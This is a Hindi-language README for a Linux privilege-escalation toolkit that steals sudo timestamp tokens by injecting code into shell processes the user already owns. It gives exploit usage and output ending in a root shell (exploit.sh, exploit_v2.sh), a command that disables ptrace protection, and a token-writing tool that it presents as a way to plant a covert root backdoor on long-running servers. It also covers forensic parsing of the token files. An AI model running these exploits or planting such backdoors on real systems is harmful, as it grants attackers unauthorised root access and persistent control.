
[Linux] sudo टोकन का दुरुपयोग करने वाली दो विशेषाधिकार वृद्धि तकनीकें
हम सभी ने देखा है कि कभी-कभी sudo हमसे पासवर्ड नहीं मांगता क्योंकि वह हमें याद रखता है। वह हमें कैसे याद रखता है और हमें कैसे पहचानता है? क्या हम अपनी पहचान गलत साबित करके root बन सकते हैं? जहाँ तक मुझे पता है यह शोध अभी तक प्रलेखित नहीं है, लेकिन अगर ऐसा है तो मुझे बताएं। वास्तव में sudo प्रत्येक Linux उपयोगकर्ता के लिए /var/run/sudo/ts/[username] में एक फ़ाइल बनाता है। इन फ़ाइलों में सफल और असफल दोनों प्रमाणीकरण होते हैं, फिर sudo इन फ़ाइलों का उपयोग सभी प्रमाणित प्रक्रियाओं को याद रखने के लिए करता है। -- @chaignc
यह रिपॉजिटरी आपको प्रदान करती है:
PS: आवश्यकताएँ पढ़ें!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
exploit.sh वर्तमान उपयोगकर्ता के स्वामित्व वाली सभी शेल प्रक्रियाओं को इंजेक्ट करता है और अपना स्वयं का sudo टोकन मान्य करने के लिए उनके sudo टोकन का उपयोग करता है। यह मुश्किल से शेल की 3 पंक्तियाँ हैं, एक बार देख लें।
यह बिना आवश्यकताओं के एक सामान्य privesc से बहुत दूर है, लेकिन यह काम करता है, उदाहरण के लिए यदि आपके पास RCE है और उपयोगकर्ता का पासवर्ड नहीं है लेकिन पीड़ित sudo का उपयोग करता है, तो आप उसका टोकन चुराकर आसानी से root प्राप्त कर सकते हैं।
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
दो टर्मिनल शुरू करें:
जिनकी किस्मत exploit v1 के साथ कम अच्छी है, वे v2 आज़माएँ
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
प्रिंटिंग में सुधार किया जाना है, लेकिन प्रत्येक प्रक्रिया के sudo प्रयास की एक प्रविष्टि /var/run/sudo/ts/[username] में होती है। इसके अलावा ये फ़ाइलें tmpfs(ram) में संग्रहीत होती हैं, कोई व्यक्ति sudo प्रयास को एकत्र करने के लिए इस जानकारी को पार्स करने हेतु volatility प्लगइन लिख सकता है।
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
यदि आपके पास आर्बिट्ररी लेखन (arbitrary write) है, तो आप root कोड निष्पादन प्राप्त करने के लिए अपनी वर्तमान प्रक्रिया के लिए एक sudo टोकन बना सकते हैं। extra_tools में './write_sudo_token $$ > /var/run/sudo/ts/[username]' देखें।
उन सर्वरों पर गुप्त root बैकडोर बनाने का एक बहुत अच्छा तरीका जो शायद ही कभी रिबूट होते हैं। अभी तक पूरा नहीं हुआ है, लेकिन ./extra_tools में './write_sudo_token $$' देखें
मैं मृत प्रक्रिया के sudo टोकन को चुराने का तरीका ढूंढ रहा था, लेकिन यह संभव नहीं लगता क्योंकि वे ((प्रक्रिया प्रारंभ समय और प्रक्रिया सत्र id) या (tty प्रारंभ समय और tty सत्र id)) से जुड़े होते हैं। सत्र id (प्रक्रिया pid) का प्रतिरूपण किया जा सकता है, लेकिन प्रक्रिया प्रारंभ समय नकली नहीं बनाया जा सकता।
kernel.yama.ptrace_scope = 1
Linux based inter process code injection without ptrace
Moving a process to another terminal
https://www.linusakesson.net/programming/tty/
द्वारा @chaignc #HexpressoTeam.